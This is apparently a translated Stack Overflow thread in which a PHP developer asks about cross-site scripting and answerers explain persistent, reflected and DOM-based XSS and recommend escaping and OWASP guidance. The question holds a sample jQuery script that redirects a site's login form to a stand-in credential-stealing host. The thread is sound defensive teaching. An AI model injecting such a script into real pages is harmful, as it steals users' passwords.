繁体   English   中英

用户输入的带有Javascript的HTML会显示给其他人,但不会转义为HTML的XSS示例

[英]Is user input of HTML with Javascript that is displayed to others but not HTML-escaped an example of a XSS

我是PHP开发人员,并且我希望提高网站的安全性。

据我了解,以下是影响Web应用程序的两种主要漏洞:

  • SQL注入
  • XSS

可以使用准备好的语句来修复SQL注入-简单。

但是我仍然不太了解XSS-以下是XSS的示例吗?

  • 包含用户制作内容的页面的顶部(站点范围内)有一个登录表单。
  • 用户对页面的输入未转义为HTML。
  • 用户在页面上发布以下内容(例如评论)...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • 一个无辜的用户来到页面,脚本执行。
  • 无辜的用户意识到他们尚未登录,然后将其详细信息输入表单。
  • 用户的详细信息发送到http://somehackysite.com/givemyourpw.php ,然后用户的帐户详细信息被盗。

所以我在这里真的有三个问题:

  1. 这行得通吗?
  2. 这是XSS吗?
  3. 除了转义HTML之外,开发人员还应采取任何预防XSS的措施吗?

XSS攻击有两种类型:反射XSS和持久XSS攻击。 您所描述的,网站用户输入保存在服务器端的数据,并为查看页面的任何人呈现的数据,被认为是持久XSS。 如果您在帖子中有一个无法逃脱Javascript的评论框,或者我可以在其中添加任何内容的个人资料页面,则可能会发生类似的攻击。

另一类XSS攻击是Reflected XSS。 这些稍微复杂一点,但是它们相当于URL中的参数之一,用于无法转义的页面。 它们经常出现在大型网站的“搜索”页面之类的内容中。 您将获得一个包含一些javascript的URL(对不起,我的示例在此处遭到了渲染器的破坏,因此我无法为您展示示例),并且该页面将呈现javascript,这将允许某人制作恶意代码网址。 在处理各种财务数据的网站上,这尤其危险。 想象一个有责任心的用户,他总是检查以确保他们将去往其银行的写链接,但是由于Reflected XSS攻击,攻击者能够将其发送到其银行网站上的合法页面,但是该恶意软件具有恶意代码。

无论如何,您的示例都是Persistent XSS。 您不仅可以更改登录表单发送用户的位置,还可以利用类似的攻击来做更邪恶的事情。 他们已经流行了很多年,例如从站点的个人区域抓取信息,或者与CSRF结合使用,以使经过身份验证的用户只需查看页面即可进行操作。 不久前,有一些MySpace病毒做到了这一点,并且在配置文件之间传播。

这是XSS吗?

是的,这通常是注入漏洞 ,在这种特殊情况下,由于注入了JavaScript,因此被称为XSS漏洞。

但是,这种注入缺陷会使一个用户的输入不加任何更改地反映给其他用户,也可能导致其他攻击,例如污损

这行得通吗?

是的,这很有可能会起作用,因为原始代码服务器会像网页中的其他任何代码一样提供此代码。 因此,就像该网站的作者是此代码的创建者一样,将被视为相同。

除了转义HTML之外,开发人员还应采取任何预防XSS的措施吗?

实际上,存在三种不同类型的XSS: 基于DOM的XSS反射的XSS存储的/持久的XSS 您的示例是一个存储/持久XSS漏洞,因为服务器会在每个请求中部署该漏洞。

一般规则是不信任任何用户输入。 也就是说,应该只允许有效的用户输入,或者在输出之前对用户输入进行过滤(删除无效值)或正确编码(转换无效值)。 有关更多信息,请参见OWASP的XSS备忘单

这是xss,我也相信是javascript注入
所以我认为这个链接会有所帮助

是的,这是基本的持久性XSS攻击的示例。 在这种情况下,用户不仅可以窃取凭据,还可以尝试通过您的网站感染访问者或垃圾邮件链接。

OWASP XSS预防指南是一个好的开始。 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM